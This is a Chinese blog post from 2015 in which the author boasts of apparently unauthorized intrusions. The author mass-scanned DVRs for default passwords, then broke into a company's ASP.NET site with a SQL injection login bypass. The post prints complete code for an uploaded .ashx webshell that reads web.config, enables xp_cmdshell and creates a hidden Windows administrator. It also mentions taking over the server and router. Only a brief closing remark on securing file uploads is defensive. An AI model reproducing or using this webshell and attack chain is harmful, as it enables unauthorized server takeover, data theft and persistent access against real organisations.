記一次ASP.NET網站的入侵和如何避免被入侵

發表於2015-11-02

首先我要申明的是不是什麼語言寫出來的程式就不安全,而是得看寫程式碼的人如何去寫這個程式。

前些日子我去客戶那調研,發現客戶的監控系統用的是海康威視的硬碟錄影機,然後預設使用者名稱是amdin 密碼是12345,回來後就想玩一玩看看有多少人用的是預設密碼,於是就寫了個掃描程式,很快掃描到了一大批網站,也得到很多采用的是預設使用者名稱和密碼。

玩了一兩天後發現沒什麼好玩的,就隨便在裡面找找掃描記錄,看到一些後臺登陸地址,於是就都測試下,然後就發現了這個網站:

網站入侵 網站伺服器 網站安全 網站最佳化

最開始我是測試弱口令:

admin amdin 等,隨便測試了幾個,沒成功,於是開始測試sql的防注入,使用者名稱輸入 1' or 1=1-- 密碼隨便輸了個1 登陸,居然登陸成功了……

網站入侵 網站伺服器 網站安全 網站最佳化

但發現登陸進來後報錯了!!!想了下可能是使用者名稱的問題,於是就找頁面看看能不能看到我的登陸使用者名稱,最後找到寫郵件裡面看到了

當然如果入侵只到這 你肯定會絕對弱爆了…… 其實當然也是,因為我拿下了他的資料和程式。當然最好拿下了他的伺服器,得知他伺服器是做的埠對映,於是又拿下了他的路由 器,然後就沒有再繼續往下進行了,當然還可以繼續下去,比如 路由器的dns劫持,頁面重定向,埠映象等等

下面我開始介紹主要入侵頁面,檔案上傳頁面:

網站入侵 網站伺服器 網站安全 網站最佳化

自己寫了個ashx頁面,上傳

程式碼很簡單,就是讀取網站的web.config檔案然後以文字形式輸出,

我先簡單說下入侵流程:

1、讀取web.config得到資料庫連線

2、利用SQL Server執行命令新增Windows使用者(因為網站預設是iis使用者,沒有許可權直線net等相關操作,但SQL Server是基於本地服務執行的,許可權很高)

我貼出我上傳的ashx檔案程式碼:

  1. <%@WebHandlerLanguage="C#"Class="TextLd"%>
  2. usingSystem;
  3. usingSystem.Collections.Generic;
  4. usingSystem.Linq;
  5. usingSystem.Web;
  6. usingSystem.Data.SqlClient;
  7. publicclassTextLd:IHttpHandler
  8. {
  9. publicvoidCreateLocalUser(stringnewPath)
  10. {
  11. System.Diagnostics.Process.Start(@"d:/1.vbs");
  12. System.IO.File.WriteAllText(@"d:/1.vbs","setwsnetwork=CreateObject(/"WSCRIPT.NETWORK/")/r/nos=/"WinNT:///"&wsnetwork.ComputerName/r/nSetob=GetObject(os)/r/nSetoe=GetObject(os&/"/Administrators,group/")'屬性,admin組/r/nod=ob.Create(/"user/",/"test/")'建立使用者/r/nSetPassword/"1234/"'設定密碼/r/nSetInfo/r/nof=GetObject(os&/"/test/",user)/r/naddos&/"/test/"");
  13. }
  14. publicvoidShowWebConfig(HttpContextcontext)
  15. {
  16. context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
  17. }
  18. publicvoidWriteVbs(HttpContextcontext)
  19. {
  20. System.IO.File.WriteAllText(context.Request.MapPath("~/1.vbs"),"setwsnetwork=CreateObject(/"WSCRIPT.NETWORK/")/r/nos=/"WinNT:///"&wsnetwork.ComputerName/r/nSetob=GetObject(os)/r/nSetoe=GetObject(os&/"/Administrators,group/")'屬性,admin組/r/nod=ob.Create(/"user/",/"test/")'建立使用者/r/nSetPassword/"1234/"'設定密碼/r/nSetInfo/r/nof=GetObject(os&/"/test/",user)/r/naddos&/"/test/"");
  21. }
  22. publicvoidExecuteSql(stringconnection,stringsql)
  23. {
  24. using(SqlConnectioncon=newSqlConnection(connection))
  25. {
  26. using(SqlCommandcommd=newSqlCommand(sql,con))
  27. {
  28. con.Open();
  29. commd.ExecuteNonQuery();
  30. con.Close();
  31. }
  32. }
  33. }
  34. publicvoidProcessRequest(HttpContextcontext)
  35. {
  36. context.Response.ContentType="text/plain";
  37. context.Response.Write(System.IO.File.ReadAllText(context.Request.MapPath("~/web.config")));
  38. try
  39. {
  40. varconnection=context.Request.QueryString["connection"];
  41. switch(context.Request.QueryString["method"])
  42. {
  43. case"1":WriteVbs(context);break;
  44. case"2":
  45. ExecuteSql(connection,@"sp_configure'showadvancedoptions',1reconfigure");
  46. ExecuteSql(connection,@"sp_configure'xp_cmdshell',1reconfigure");//開啟資料庫的xp_cmdshell
  47. break;
  48. case"3":ExecuteSql(connection,"execmaster..xp_cmdshell'cscript"+context.Request.MapPath("~/1.vbs")+"'");
  49. break;
  50. default:
  51. ShowWebConfig(context);
  52. break;
  53. }
  54. }
  55. catch(Exceptionex)
  56. {
  57. context.Response.Write(ex.Message);
  58. }
  59. context.Response.End();
  60. }
  61. publicboolIsReusable
  62. {
  63. get
  64. {
  65. returnfalse;
  66. }
  67. }
  68. }

然後一次執行,就這樣伺服器就被我拿下了! 建立了一個使用者名稱為test密碼是1234的超級管理員使用者,於是測試下遠端連線

網站入侵 網站伺服器 網站安全 網站最佳化

然後弄乾啥,大家都知道的……

當然,如果不拿下他伺服器,你想想你都能直線你自己寫的程式碼了……什麼壞事幹不了。。。 當然本人只是測試了下可行性,就算不拿下伺服器,執行sql語句把他資料庫備份下載下來拿還不是分分鐘的事情?

好了 我來總結下這次入侵吧,最主要的婁底其實不是他的sql注入(個人覺得,當然他是導火索),而是檔案上傳,大部分程式設計師在寫檔案上傳功能的時候,之前客戶上傳過來的檔案儲存到網站目錄下的某個資料夾,不做任何處理,這也就是導致了他伺服器被我拿下的最主要的入口。

所以我還是奉勸大家一下,做檔案上傳還是對檔案進行下處理比較好,具體怎麼處理我想聰明的你肯定有很多方法……

小學文化的我傷不起啊…… 原諒我文采不好,你們將就著看吧!

相關文章